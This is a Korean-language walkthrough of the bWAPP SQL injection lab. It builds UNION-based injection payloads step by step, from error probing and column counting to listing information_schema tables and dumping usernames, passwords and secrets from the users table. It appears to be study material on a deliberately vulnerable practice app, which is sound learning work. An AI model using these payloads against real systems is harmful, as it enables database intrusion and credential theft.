UNION연산자를 통해 2개 이상의 SELECT 구문을 만들어 공격자가 원하는 정보를 탈취하는 공격 방법
영화 정보를 보여주는 사이트
문제: 해당 서비스에 등록된 모든 사용자의 계정 정보를 탈취하시오.
HTML 문 및 전달데이터 분석
bWAPP/sqli_1.php?title=man&action=search
<form action="/bWAPP/sqli_1.php" method="GET"> <p> <label for="title">Search for a movie:</label> <input type="text" id="title" name="title" size="25">
<button type="submit" name="action" value="search">Search</button>
</p>
```
SQL 문 추측
select * from movies where title like '%man%'
이런식으로 쿼리문이 생성되지 않을까? 할 수 있다.
그럼 임의로 에러를 유발하는 입력을 넣어보면
입력값: man'
에러 메세지를 출력한다. Error Based SQL Injection 기법도 사용된다.
이 메세지를 토대로 이 웹페이지는 mySQL 로 DB를 구성한다고 알 수 있다.
그럼 UNION 구문을 사용하여 문제를 풀어보자
select * from movies where title like '%man' UNION 사용자 계정 쿼리 -- %'
select * from movies where title like '%man' or 'a' = 'a' order by 1 -- %' #앞에 SELECT 문은 추측이다.
그래서 Column에 개수를 추측하여
select * from movies where title like '%man' or 'a' = 'a' order by 8 -- %'
을 넣어보면 Column 7개 까지 인것을 알 수 있다.
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, 2, 3, 4, 5, 6, 7 -- %'
2번 Column에 mysql버전을 출력하고 싶으면
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, @@version, 3, 4, 5, 6, 7 -- %'
5.0.96 0ubuntu3 인걸 알 수 있다.
그럼 7개의 Column을 출력하면 화면에는 2,3,5,4 Cloumn 순으로 출력
각 Column에 출력하고 싶은 값은 mysql에서 지원하는 Information_schema를 통해 임의로 정할 수 있다.
INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 즉, 읽기전용(Read-only)으로 사용자가 직접 수정하거나 관여할 수는 없다.
사용방법은
https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html
https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html
https://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-table.html
을 참고하자
그럼 Information_schema를 사용하여 DB안에 테이블 목록을 조회해 보자
select * from movies where title like '%man' and 'a' = 'b'
UNION select 1, table_name, table_type, 4, 5, 6, 7
from information_schema.tables -- %'
그 다음 사용자 정보가 있을거 같은 users 테이블의 Column을 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, table_name, column_name, 4, 5, 6, 7 from information_schema.columns where table_name = 'users' -- %'
users의 id, login, password, secret을 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, concat(id, ' : ', login), password, email, secret, 6, 7 from users -- %'